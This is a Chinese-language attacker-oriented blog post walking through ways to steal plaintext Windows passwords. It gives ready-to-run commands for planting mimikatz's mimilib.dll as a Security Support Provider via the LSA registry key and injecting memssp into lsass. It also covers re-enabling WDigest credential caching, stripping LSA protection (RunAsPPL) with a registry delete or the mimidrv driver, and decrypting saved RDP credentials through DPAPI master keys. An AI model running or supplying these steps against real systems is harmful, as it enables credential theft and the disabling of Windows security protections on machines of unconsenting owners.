Windows多种方式获取密码

前言:


提桶跑路一个月了,平躺是真滴舒服,心宽体胖。后面一段时间直到hw结束,我打算把主要精力都放在免杀上面,不会点C真的寸步难行,或者就只能从go下手了

0x01 SSP记录明文密码


SSP(Security Support Provider)是一个用于实现身份验证的DLL文件,主要用于Windows系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)

当操作系统启动时SSP会被加载到lsass.exe进程中,由于lsass可通过注册表进行扩展,导致了在操作系统启动时,可以加载一个自定义的dll,来实现想要执行的操作。
当我们在域环境内对LSA进行拓展自定义DLL文件时(替换某个ssp为恶意ssp,或者将ssp文件上传,修改lsa注册表使之启动时加载),就能够获取到lsass.exe进程中的明文密码。

适用场景:

适用于win8/win2012后无法获取明文密码,或者维持域控、在域控上抓用户密码

利用过程:

在mimikatz中有32和64两个版本,安装包里分别都带有不同位数的mimilib.dll。

    1. 复制mimilib.dll放到System32路径下,注意版本对应32或64位系统
    1. 修改hklm\system\currentcontrolset\control\lsa注册表中Security Packages项的值来加载新的安全支持提供程序mimilib.dll:reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f
    1. 锁屏:rundll32.exe user32.dll,LockWorkStation

当用户或域用户登录时,在c:\windows\system32生成文件kiwissp.log,记录登录用户的明文密码。

或者我们可以直接利用mimikatz向lsass注入ssp,此技术不需要将mimilib.dll放入磁盘或创建注册表项,不需要重启也可以获取账户信息:

缺点:重启后失效

privilege::debug
misc::memssp

等用户输入密码登录后,将在System32中创建一个日志文件记录明文密码:
C:\Windows\System32\mimilsa.log

Invoke-Mimikatz.ps1:

Import-Module .\Invoke-Mimikatz.ps1  //导入命令
Invoke-Mimikatz -Command "misc::memssp"  //不需要重启获取 

记录修改密码:reg add "hklm\System\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\0mimilib" /f

当系统发生修改密码的事件时,将生成一个日志文件记录用户新修改的明文密码:C:\Windows\System32\kiwifilter.log

0x02 修改WDigest获取明文密码:


Wdigest是lsass的一种SSP程序,主要用在Win2003的LDAP和基于Web的身份验证。它利用HTTP和简单身份验证安全层 (SASL) 交换进行身份验证。但这个认证机制会在内存中以加密的形式保存win的明文密码。

常用的mimikatz的sekurlsa::logonpasswords命令,就是依靠Wdigest来获取明文密码。
在win2008版本和Windows Server 2012 R2之前的WDigest是默认开启的。

利用方法:通过操作对应的注册表来开启WDigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

打了补丁或2008之后的主机会多一个UseLogonCredential项
当该项的值为1则记录明文密码,0则为不记录明文密码

最后利用mimikatz获取明文密码:

privilege::debug
sekurlsa::logonpasswords

0x03 绕过LSA保护:


微软在 Windows 8.1、Windows Server 2012 R2添加了 LSA 保护策略,以防止不受保护的进程对lsass.exe读取内存和代码注入。

查看是否开启LSA进程保护:

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 1 /f

当RunAsPPL键值为1就表示开启了LSA保护,此时无法通过mimikatz获取明文密码:

这里如果想要获取明文密码有两种方法:

1)对注册表的RunAsPPL键值进行删除:

reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f

缺点:需要重启后才能生效

2)利用mimikatz绕过LSA保护:

运行mimikatz,获取debug权限,将mimidrv.sys驱动加载进去,使用该驱动绕过lsa保护:

privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::memssp
sekurlsa::logonpasswords

0x04 破解RDP保存的凭证:


当通过rdp服务登录远程桌面时,如果选择了保存凭证,会在本地生成一个凭证文件,我们只要破解这个凭证里面的数据即可获得明文密码。

查看历史RDP记录:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

可以看到登录主机对应的ip、凭证名和用户名信息:

Windows保存RDP凭据的位置:%userprofile%\AppData\Local\Microsoft\Credentials

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

以CS上线后调用mimikatz为例:

    1. 利用 mimikatz 获取 guidMasterKey(凭据的GUID):
mimikatz privilege::debug
mimikatz dpapi::cred /in:C:\Users\book4yi\AppData\Local\Microsoft\Credentials\E9BD6F76581557D2A266AF679E808EAE
    1. 查找对应的 Masterkey:
mimikatz sekurlsa::dpapi
    1. 使用Masterkey解密凭证文件获取密码明文:
mimikatz dpapi::cred /in:C:\Users\book4yi\AppData\Local\Microsoft\Credentials\E9BD6F76581557D2A266AF679E808EAE /masterkey:c1889997c4a1a83f858f4cffccfd36386e769a9857a86c961d2ebb45325b40fceb45dbb8c799bb788981f1ef9cecc58779e0c0938d99074a38931de0528f3abe

参考如下:


SSP方式获取win明文密码
内网密码提取
RDP保存的凭证破解
绕过LSA保护

你可能感兴趣的:(Windows多种方式获取密码)